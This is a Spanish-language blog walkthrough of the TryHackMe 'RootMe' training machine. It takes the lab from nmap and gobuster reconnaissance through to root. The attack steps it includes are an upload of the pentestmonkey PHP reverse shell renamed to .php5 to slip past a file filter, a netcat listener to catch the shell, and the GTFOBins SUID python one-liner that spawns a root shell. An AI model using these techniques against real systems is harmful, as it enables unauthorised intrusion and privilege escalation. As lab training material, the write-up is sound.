Post

RootMe - WriteUp

Descripción

La máquina ‘RootMe’ en TryHackMe presenta diversas vulnerabilidades, como la elevación de privilegios hasta ataques de fuerza bruta y explotación de servicios. Explorar y resolver estas vulnerabilidades es esencial para ganar control sobre la máquina y fortalecer las habilidades en ciberseguridad.

Implementar máquina

  1. Lo primero sería iniciar la máquina virtual. imagen

  2. Si vamos a la máquina atacante esta sería la nomenclatura: imagen

    nc -vnlp 1234
    nc: Se inicia la herramienta
    -v: verbose (Proporciona información adicional)
    n: no hace resolución inversa de DNS
    l: Va a escuchar en vez de iniciar una conexión
    p: Especifica el puerto por el cual vamos a escuchar
    1234: Puerto especificado

Reconocimiento

  1. Para obtener esta información serán necesario usar Nmap
    imagen

    -nmap: ejecutamos la herramienta
    -sC: detección de servicios y vulnerabilidades contra los servicios identificados.
    -sV: detección de versión de los servicios abiertos en el host objetivo.
    -p 1-1024: especificamos los puertos entre los más comunes.
    -T5: agresividad del escaneo; velocidad más rápida.
    10.10.125.132: Dirección IP de la máquina RootMe.
    -o resultado_nmap.txt: el resultado de todo el escaneo se guarda en un archivo de texto.

    El comando -T5 aumenta, junto con la velocidad, el ruido en la red, lo que incrementa la probabilidad de detección.

Enumeración

  1. En el resultado del escaneo se refleja la existencia de un sitio web al cual podemos acceder con la IP de la máquina RootMe. Lo que prosigue es hacer un proceso de enumeración de subdominios con la herramienta Gobuster. imagen

    gobuster dir: Indica que se utilizará la herramienta “gobuster” para buscar directorios en el sitio web.
    -u http://10.10.213.113: Es la URL del sitio web que se va a escanear.
    -w /home/usuario/Descargas/SecLists/Discovery/Web-Content/common.txt: Especifica la ubicación de un archivo de lista de palabras (common.txt) que se utilizará para adivinar nombres de directorios en el sitio web.

    imagen

Obtener Shell (Reverse Shell)

  1. Al ver el resultado de la herramienta podemos notar que existe un página web con la dirección: http://10.10.125.132/panel/ el cual nos permitiría subir archivos.

  2. En los resultados de Gobuster podemos ver esta dirección: http://10.10.193.237/panel/ imagen imagen

  3. Un punto importante cuando estamos ante sitios web es conocer las tecnologías que se encuentran en el mismo. Para esto, podemos usar el comando: whatweb y en adición searchsploit para ver y buscar los exploits disponibles de la tecnología en cuestión en la base de datos de Exploit Database (ExploitDB). imagen imagen

  4. Ahora nuestro objetivo es insertar un archivo php el cual llamaríamos desde el navegador y así poder tener acceso al servidor.

    El archivo php nos abriría una terminal en el máquina destino o servidor desde nuestro equipo. Para descargar el archivo hacer clic aquí: php-reverse-shell.php

  1. Para descargarlo en la máquina solo bastaría con usar el siguiente comando:
    1
    
    git clone https://github.com/pentestmonkey/php-reverse-shell.git
    
  2. Luego de entrar al directorio php-reverse-shell usando el editor de texto nano cambiamos la IP por la dirección que nos da el VPN de TryHackMe y finalmente hacemos ctrl + o para guardar los cambios. imagen

    Podríamos cambiar el puerto pero en mi caso lo dejaré por defecto.

  1. Si intentamos subir el archivo .php al sitio web nos lanzaría un error. Por lo que sería necesario cambiar la extensión del archivo. Por ejemplo: .php45
    imagen

  2. Para hacerlo solo deberíamos de renombrar el archivo:

    1
    
     mv php-reverse-shell.php php-reverse-shell.php5
    

    imagen

  1. Luego de cargar el archivo, deberíamos poder ver el archivo en /uploads el cual encontramos cuando hicimos la enumeración de subdominios con Gobuster. imagen imagen

  2. Nueva vez intentamos subir el archivo ahora con la extensión modificada.
    imagen
    Ahora vemos como si nos permitió subirlo.

  3. Al entrar a https://10.10.125.132/uploads/ podremos ver el archivo que subimos: imagen

  4. Antes de poder ejecutar el archivo tendríamos que poner nuestra máquina en escucha usando la herramienta netcat. Esto lo logramos con el comando:

    nc -vnlp 1234
    nc: Se inicia la herramienta
    -v: verbose (Proporciona información adicional)
    n: no hace resolución inversa de DNS
    l: Va a escuchar en vez de iniciar una conexión
    p: Especifica el puerto por el cual vamos a escuchar
    1234: Puerto especificado

    El puerto especificado deberá ser el mismo que tiene el reverse shell.

  1. Cliqueamos dos veces sobre el archivo .php el cual se encuentra en el sitio web. Si observamos netcat se puede notar que ha funcionado la reverse shell. imagen

  2. Ahora buscaremos en todo el sistema el archivo .txt con el comando:
    1
    
    find / -name user.txt 2>/dev/null
    

    imagen Este sería nuestro directorio de destino.

  3. Usando el comando cat se puede ver el contenido del archivo de texto:
    1
    
    cat /var/www/user.txt
    

    imagen

  4. Esa sería la respuesta a la a la siguiente bandera: imagen

Escalación de privilegios

  1. Antes que nada mostrar cual es el usuario actual: imagen

  2. Para tener acceso privilegiado necesitamos buscar archivos con permisos SUID. Para buscar estos archivos usaremos el comando:
    1
    
    find / -user root -perm /4000 2>/dev/null
    
  3. En toda la búsqueda que aparece encontré la ruta para python: imagen

  4. Así es como respondemos a otra pregunta o tarea: imagen

  5. Ahora usaremos la web: GTFObins gtfobins.github.io la cual nos sirve para buscar entre binarios el como explotar los ficheros.

  6. Si nos vamos a SUID copiamos y pegamos en la shell el comando que nos aparece ahí. imagen

    Copiar y pegar esta línea:

    1
    
    python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
    
  1. Luego de ejecutar el comando y colocar el comando: whoami. Vemos como nos dice que somos usuario root. imagen

  2. Así que, introducimos el siguiente comando:
    1
    
    find / -name root.txt 2>/dev/null
    

    imagen

  3. Con el comando cat se podría observar el contenido del archivo de texto y esta sería la última bandera:
    1
    
    cat /root/root.txt
    

    imagen
    imagen

    imagen

This post is licensed under CC BY 4.0 by the author.